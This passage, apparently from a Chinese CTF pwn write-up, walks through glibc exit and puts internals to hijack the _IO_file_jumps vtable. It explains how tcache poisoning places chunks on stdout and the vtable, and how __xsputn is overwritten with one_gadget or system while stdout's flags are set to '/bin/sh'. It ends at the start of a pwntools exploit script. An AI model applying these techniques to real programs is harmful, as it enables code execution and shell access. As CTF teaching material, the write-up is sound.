GL(dl_phdr) = (const void *) &__ehdr_start + __ehdr_start.e_phoff;
GL(dl_phnum) = __ehdr_start.e_phnum;
}
}

/* Initialize very early so that tunables can use it. */
__libc_init_secure ();

__tunables_init (__environ);

ARCH_INIT_CPU_FEATURES ();

/* Do static pie self relocation after tunables and cpu features
are setup for ifunc resolvers. Before this point relocations
must be avoided. */
_dl_relocate_static_pie ();

/* Perform IREL{,A} relocations. */
ARCH_SETUP_IREL ();

/* The stack guard goes into the TCB, so initialize it early. */
ARCH_SETUP_TLS ();

/* In some architectures, IREL{,A} relocations happen after TLS setup in
order to let IFUNC resolvers benefit from TCB information, e.g. powerpc's
hwcap and platform fields available in the TCB. */
ARCH_APPLY_IREL ();

/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
# ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
# else
__stack_chk_guard = stack_chk_guard;
# endif

# ifdef DL_SYSDEP_OSCHECK
{
/* This needs to run to initiliaze _dl_osversion before TLS
setup might check it. */
DL_SYSDEP_OSCHECK (__libc_fatal);
}
# endif

/* Initialize libpthread if linked in. */
if (__pthread_initialize_minimal != NULL)
__pthread_initialize_minimal ();

/* Set up the pointer guard value. */
uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
stack_chk_guard);
# ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
# else
__pointer_chk_guard_local = pointer_chk_guard;
# endif

#endif /* !SHARED */

/* Register the destructor of the dynamic linker if there is any. */
if (__glibc_likely (rtld_fini != NULL))
__cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL);

#ifndef SHARED
/* Perform early initialization. In the shared case, this function
is called from the dynamic loader as early as possible. */
__libc_early_init (true);

/* Call the initializer of the libc. This is only needed here if we
are compiling for the static library in which case we haven't
run the constructors in `_dl_start_user'. */
__libc_init_first (argc, argv, __environ);

/* Register the destructor of the statically-linked program. */
__cxa_atexit (call_fini, NULL, NULL);

/* Some security at this point. Prevent starting a SUID binary where
the standard file descriptors are not opened. We have to do this
only for statically linked applications since otherwise the dynamic
loader did the work already. */
if (__builtin_expect (__libc_enable_secure, 0))
__libc_check_standard_fds ();
#endif /* !SHARED */

/* Call the initializer of the program, if any. */
#ifdef SHARED
if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))
GLRO(dl_debug_printf) ("\ninitialize program: %s\n\n", argv[0]);

if (init != NULL)
/* This is a legacy program which supplied its own init
routine. */
(*init) (argc, argv, __environ MAIN_AUXVEC_PARAM);
else
/* This is a current program. Use the dynamic segment to find
constructors. */
call_init (argc, argv, __environ);
#else /* !SHARED */
call_init (argc, argv, __environ);
#endif /* SHARED */

#ifdef SHARED
/* Auditing checkpoint: we have a new object. */
if (__glibc_unlikely (GLRO(dl_naudit) > 0))
{
struct audit_ifaces *afct = GLRO(dl_audit);
struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
if (afct->preinit != NULL)
afct->preinit (&link_map_audit_state (head, cnt)->cookie);

afct = afct->next;
}
}
#endif

#ifdef SHARED
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS))
GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]);
#endif

#ifndef SHARED
_dl_debug_initialize (0, LM_ID_BASE);
#endif

__libc_start_call_main (main, argc, argv MAIN_AUXVEC_PARAM); // <=
}

很长,但是看最后一行就好了,调用的是__libc_start_call_main,在sysdeps/nptl/libc_start_call_main.h

PS:源码我就不省略了,在博客上留个备份方便看,反正有代码折叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
_Noreturn static void
__libc_start_call_main (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv
#ifdef LIBC_START_MAIN_AUXVEC_ARG
, ElfW(auxv_t) *auxvec
#endif
)
{
int result;

/* Memory for the cancellation buffer. */
struct pthread_unwind_buf unwind_buf;

int not_first_call;
DIAG_PUSH_NEEDS_COMMENT;
#if __GNUC_PREREQ (7, 0)
/* This call results in a -Wstringop-overflow warning because struct
pthread_unwind_buf is smaller than jmp_buf. setjmp and longjmp
do not use anything beyond the common prefix (they never access
the saved signal mask), so that is a false positive. */
DIAG_IGNORE_NEEDS_COMMENT (11, "-Wstringop-overflow=");
#endif
not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf);
DIAG_POP_NEEDS_COMMENT;
if (__glibc_likely (! not_first_call))
{
struct pthread *self = THREAD_SELF;

/* Store old info. */
unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf);
unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup);

/* Store the new cleanup handler info. */
THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf);

/* Run the program. */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
}
else
{
/* Remove the thread-local data. */
__nptl_deallocate_tsd ();

/* One less thread. Decrement the counter. If it is zero we
terminate the entire process. */
result = 0;
if (! atomic_decrement_and_test (&__nptl_nthreads))
/* Not much left to do but to exit the thread, not the process. */
while (1)
INTERNAL_SYSCALL_CALL (exit, 0);
}

exit (result); // <=
}

也很长,但也是直接看最后一行,就是拿main函数的返回值传给exit函数进行退出

或者也可以直接自己编个程序上gdb看,会更直观

exit函数·

有了这个结论再来看exit函数,在stdlib/exit.c

1
2
3
4
5
6
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

也就是调用__run_exit_handlers,而且run_list_atexitrun_dtors都是true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

__libc_lock_lock (__exit_funcs_lock);

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
continue;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

__libc_lock_unlock (__exit_funcs_lock);

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ()); // <=

_exit (status);
}

也是很长,直接看最后几行就好了,有一个

1
2
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

而调用exit进行退出时,默认run_list_atexit = true,所以就会调用到这个hook

PS:有空再研究这个hook能不能劫持的,又留一个坑

看一下libio/genops.c,有一句

1
text_set_element(__libc_atexit, _IO_cleanup);

也就是__run_exit_handlers的最后会执行_IO_cleanup,这个函数也在libio/genops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
_IO_cleanup (void)
{
/* We do *not* want locking. Some threads might use streams but
that is their problem, we flush them underneath them. */
int result = _IO_flush_all_lockp (0);

/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.

The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();

return result;
}

可以看到调用了_IO_flush_all_lockp_IO_unbuffer_all

其中再_IO_flush_all_lockp中调用了_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // <=
result = EOF;
... ...
}

而在_IO_unbuffer_all中调用了_IO_SETBUF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static void
_IO_unbuffer_all (void)
{
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain)
{
int legacy = 0;

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
if (__glibc_unlikely (_IO_vtable_offset (fp) != 0))
legacy = 1;
#endif

if (! (fp->_flags & _IO_UNBUFFERED)
/* Iff stream is un-orientated, it wasn't used. */
&& (legacy || fp->_mode != 0))
{
#ifdef _IO_MTSAFE_IO
int cnt;
#define MAXTRIES 2
for (cnt = 0; cnt < MAXTRIES; ++cnt)
if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0)
break;
else
/* Give the other thread time to finish up its use of the
stream. */
__sched_yield ();
#endif

if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
{
fp->_flags |= _IO_USER_BUF;

fp->_freeres_list = freeres_list;
freeres_list = fp;
fp->_freeres_buf = fp->_IO_buf_base;
}

_IO_SETBUF (fp, NULL, 0); // <=
... ...
}

到这里如果要继续打的话应该就是改fpvtable,然后绕过这两个函数之一的上面那一堆if判断条件,接着让程序退出,最后执行被改掉的vtable中的函数

因为像前面说的,这个程序并不会退出,所以这里就不再继续追下去了

puts的攻击链·

接下来看一条这个题目可以用的攻击链

首先可以看到题目用puts函数进行输出,这个函数肯定是一个IO相关的函数,所以追一下

libio/ioputs.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);

if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len // <=
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (stdout);
return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

可以看到puts_IO_puts的别名,而_IO_puts内部调用的是_IO_sputn (stdout, str, len)

libioP.h

1
2
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

阿哲,怎么变成vtable

所以到这里大概的意思是,_IO_sputn其实是调用了stdoutvtable中的__xsputn函数

追stdout·

那么接下来就要看看stdoutvtable是什么,先找到libio/stdfiles.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#ifdef _IO_MTSAFE_IO
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};
#else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps}; // <=
#endif

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;
libc_hidden_data_def (_IO_list_all)

如果不考虑宽字符的话只用关心

1
2
3
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};

还记得_IO_FILE_plus定义的话,第一个是file,第二个就是vtable,那么stdinstdoutstderrvtable都是_IO_file_jumps

另外在vtables.ccheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Some variants of libstdc++ interpose _IO_2_1_stdin_ etc. and
install their own vtables directly, without calling _IO_init or
other functions. Detect this by looking at the vtables values
during startup, and disable vtable validation in this case. */
#ifdef SHARED
__attribute__ ((constructor))
static void
check_stdfiles_vtables (void)
{
if (_IO_2_1_stdin_.vtable != &_IO_file_jumps
|| _IO_2_1_stdout_.vtable != &_IO_file_jumps
|| _IO_2_1_stderr_.vtable != &_IO_file_jumps)
IO_set_accept_foreign_vtables (&_IO_vtable_check);
}
#endif

也表明了这三个东西的vtable_IO_file_jumps

追到libio/fileops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn), // <=
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

也就是我想要的_IO_sputn函数就是_IO_file_xsputn函数,在同一个文件libio/fileops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;

if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) // <=
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
... ...
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

可以看到如果to_do + must_flush > 0的话就会执行_IO_OVERFLOW(stdout, EOF)

绕过条件·

那么问题就剩下怎么绕过to_do + must_flush > 0进入_IO_OVERFLOW函数了

往上看一下,有两种方法

  1. 可以让must_flush = 1,也就flags需要满足(f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING),然后buffer足够大f->_IO_buf_end - f->_IO_write_ptr,最后还要puts的字符串中有换行\n

  2. 也可以to_do > 0,就是需要count = f->_IO_write_end - f->_IO_write_ptr < to_do,这好像也就是发生了溢出的意思

方法.1(NG)·

先来看第一种,还记得这个东西的话

1
FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD)

FILEBUF_LITERAL的定义在libio/libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#ifdef _IO_MTSAFE_IO
/* check following! */
# ifdef _IO_USE_OLD_IO_FILE
# define FILEBUF_LITERAL(CHAIN, FLAGS, FD, WDP) \
{ _IO_MAGIC+_IO_LINKED+_IO_IS_FILEBUF+FLAGS, \
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (FILE *) CHAIN, FD, \
0, _IO_pos_BAD, 0, 0, { 0 }, &_IO_stdfile_##FD##_lock }
# else
# define FILEBUF_LITERAL(CHAIN, FLAGS, FD, WDP) \
{ _IO_MAGIC+_IO_LINKED+_IO_IS_FILEBUF+FLAGS, \
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (FILE *) CHAIN, FD, \
0, _IO_pos_BAD, 0, 0, { 0 }, &_IO_stdfile_##FD##_lock, _IO_pos_BAD,\
NULL, WDP, 0 }
# endif
#else
# ifdef _IO_USE_OLD_IO_FILE
# define FILEBUF_LITERAL(CHAIN, FLAGS, FD, WDP) \
{ _IO_MAGIC+_IO_LINKED+_IO_IS_FILEBUF+FLAGS, \
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (FILE *) CHAIN, FD, \
0, _IO_pos_BAD }
# else
# define FILEBUF_LITERAL(CHAIN, FLAGS, FD, WDP) \
{ _IO_MAGIC+_IO_LINKED+_IO_IS_FILEBUF+FLAGS, \ // <=
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, (FILE *) CHAIN, FD, \
0, _IO_pos_BAD, 0, 0, { 0 }, 0, _IO_pos_BAD, \
NULL, WDP, 0 }
# endif
#endif

也就是stdio->_flags会设置成

1
_IO_MAGIC+_IO_LINKED+_IO_IS_FILEBUF+FLAGS

看一下libio/libio.h

1
2
3
4
5
6
7
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IS_FILEBUF 0x2000
#define _IO_NO_READS 0x0004 /* Reading not allowed. */// FLAGS == _IO_NO_READS

#define _IO_LINE_BUF 0x0200
#define _IO_CURRENTLY_PUTTING 0x0800

emmm,好像没戏

方法.2·

第二种的话首先要知道f->_IO_write_endf->_IO_write_ptr是多少,问题是这个值是在哪里初始化的

翻到main函数开始的地方,可以发现有三个setvbuf,据介绍的话这个函数会设置缓冲区大小

PS:上面的isnan本来是alarm,我调试的时候改了

追一下,setvbuf的定义在libio/iosetvbuf.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define _IOFBF 0 /* Fully buffered. */
#define _IOLBF 1 /* Line buffered. */
#define _IONBF 2 /* No buffering. */

int
_IO_setvbuf (FILE *fp, char *buf, int mode, size_t size)
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
switch (mode)
{
... ...
case _IONBF: // <=
fp->_flags &= ~_IO_LINE_BUF;
fp->_flags |= _IO_UNBUFFERED;
buf = NULL;
size = 0;
break;
... ...
}
result = _IO_SETBUF (fp, buf, size) == NULL ? EOF : 0; // <=

unlock_return:
_IO_release_lock (fp);
return result;
}
libc_hidden_def (_IO_setvbuf)

weak_alias (_IO_setvbuf, setvbuf)

按题目的输入的话,会调用_IO_SETBUF(stdout, NULL, 0),查stdoutvtable可以知道_IO_SETBUFlibio/fileops.c_IO_new_file_setbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FILE *
_IO_new_file_setbuf (FILE *fp, char *p, ssize_t len)
{
if (_IO_default_setbuf (fp, p, len) == NULL) // <=
return NULL;

fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);

return fp;
}
libc_hidden_ver (_IO_new_file_setbuf, _IO_file_setbuf)

这里其实就是包了一层,所以实际调用的是_IO_default_setbuf(stdout, NULL, 0),这东西在libio/genops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void
_IO_setb (FILE *f, char *b, char *eb, int a)
{
if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
free (f->_IO_buf_base);
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
if (a)
f->_flags &= ~_IO_USER_BUF;
else
f->_flags |= _IO_USER_BUF;
}
libc_hidden_def (_IO_setb)

FILE *
_IO_default_setbuf (FILE *fp, char *p, ssize_t len)
{
if (_IO_SYNC (fp) == EOF)
return NULL;
if (p == NULL || len == 0) // <=
{
fp->_flags |= _IO_UNBUFFERED;
_IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
}
else
{
fp->_flags &= ~_IO_UNBUFFERED;
_IO_setb (fp, p, p+len, 0);
}
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = 0;
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = 0;
return fp;
}

整合起来,就是stdout->_IO_buf_basestdout->_IO_buf_end分别指向struct _IO_FILE结构的char _shortbuf[1]的头和尾,也就是这个缓冲区只有一字节的大小

也就是count = f->_IO_write_end - f->_IO_write_ptr的值最大也是1,而to_do的值是puts的字符串的长度,所以只要puts一个长度大于1的字符串就可以触发_IO_OVERFLOW(stdout, EOF)

_IO_file_jumps居然可写???·

虽然这里已经可以触发_IO_OVERFLOW,按照上面分析的话,接下来需要找到_IO_OVERFLOW的漏洞,或者找到其他struct _IO_FILE结构的函数的漏洞,然后把_IO_OVERFLOW指向这个函数(注意因为有检查)

但是看了一下,NSS上这题才两百多分,不太可能有这么复杂的操作吧,所以看了一眼Wp,发现_IO_file_jumps居然是可写的,woc?

因为正常情况下,定义是const struct _IO_jump_t _IO_file_jumps libio_vtable,是个const变量,所以应该是不可修改的,我自己本地的调试库可是不可写的

所以这应该就是出题人做了简化了…

如果_IO_file_jumps可写的话那么就很简单了,接下来只需要把_IO_file_jumps__xsputn_IO_file_xsputn改成one_gadget就好了

注意这里写的时候要把堆块分配到_IO_file_jumps,而不能_IO_file_jumps+0x10,因为分配到_IO_file_jumps+0x10的话,tcache_gete->key = 0会把_IO_file_xsputn覆盖成0,在下一次puts的时候就会使得程序崩溃

而分配到_IO_file_jumps的话只会把dummy覆盖成0

Part.4 【外传】调system·

虽然这题可以调one_gadget,但并不是所有题都会有可用的one_gadget(也虽然正常不会给_IO_file_jumps写权限就是了

那么没有可用的one_gadget时怎么办呢,就要回到传统的system("/bin/sh")

这就涉及到如何给vtable的函数传参了,或者像笔记vol.1那样,限制不能执行execve的话,也要调setcontext转移到栈中

PS:一些更高级的方法如House of Some 2也可以把控制流劫持到栈上,不过这就有点复杂了,留到下一篇再慢慢学(逃

首先,现在的情况已经可以往_IO_file_jumps__xsputn位置写入system,那么剩下的问题其实是如何给system传参数

根据上面的分析,在调用_IO_new_file_xsputn时,会触发_IO_OVERFLOW(stdout, EOF)

如果把__xsputn改成system的话,那么就是调用了system(stdout)

注意,因为system函数只有一个入参,所以EOF不用管

1
2
3
4
5
/* Execute the given line as a shell command.

This function is a cancellation point and therefore not marked with
__THROW. */
extern int system (const char *__command) __wur;

再看stdout长什么样,stdout的类型是_IO_FILE_plus,回顾一下,定义是

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

所以也相当于调用了system(stdout.file),注意stdout.file是可写的,而且不会有校验,所以可以往stdout.file写上/bin/sh\x00

理论是这样,但是实际上,这样写的话会覆盖stdout.file._flags,至于覆盖了这东西后程序还能不能正常运行,就要看运气了

1
2
3
4
5
6
7
8
9
10
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
... ...
};

至少在我调的时候,发现把stdout.file._flags覆盖成/bin/sh\x00后,程序会一直卡在0x1285call read

那么改如何避免_flags被修改后的错误呢,我的方法是,先去把system写到_IO_file_jumps中,因为system在执行失败是并不会阻塞或者使程序退出,所以即使在puts时执行了system(stdout.file._flags)也不会有太大的问题

接着在把stdout.file._flags覆盖为/bin/sh\x00后,由于这个操作是在edit中进行,edit成功后,会先执行puts("Done"),再返回到main中执行0x1285call read

也就是说,在程序被阻塞前,已经可以通过system("/bin/sh")拿到shell

理论如此,下面补充一下细节

首先在Part.2中泄露完libc_base后,tcachebin上大概是

1
-> chunk7 -> chunk6 -> ... -> chunk0

这时如果把chunk7fd改成stdout的地址,那么就是

1
-> chunk7 -> &stdout

这样在add两次后(令两个堆块为chunk10chunk11),就可以把堆块chunk11分配到stdout上,注意这时会在stdout之前的0x10的位置写上堆块头,但这里是stderrvtable地址,只要不触发stderr好像就问题不大

当然这时tcachebin也会坏掉,但没关系,只需要在delete调一个堆块,比如chunk10tcachebin就会变成

1
-> chunk10 -> (corrupted)

然后再同样的操作,把chunk10fd改成_IO_file_jumps的地址,就是

1
-> chunk10 -> &_IO_file_jumps

add两次后(令两个堆块为chunk12chunk13),就可以把chunk13分配到_IO_file_jumps

这时就可以用edit_IO_file_jumps__xsputn覆盖为system

同样的操作,通过对chunk11edit就可以往stdout.file._flags写上/bin/sh\x00

最后在执行edit结束时的puts("Done")就可以触发_IO_OVERFLOW(stdout, EOF),执行system("/bin/sh")

具体的可以看下面的Exp

参考Exp·

调one_gadget的Exp·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./pwn', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./../../libc/malloc-2.34')
input('Waiting GDB...')
else:
AUTOGDB = False
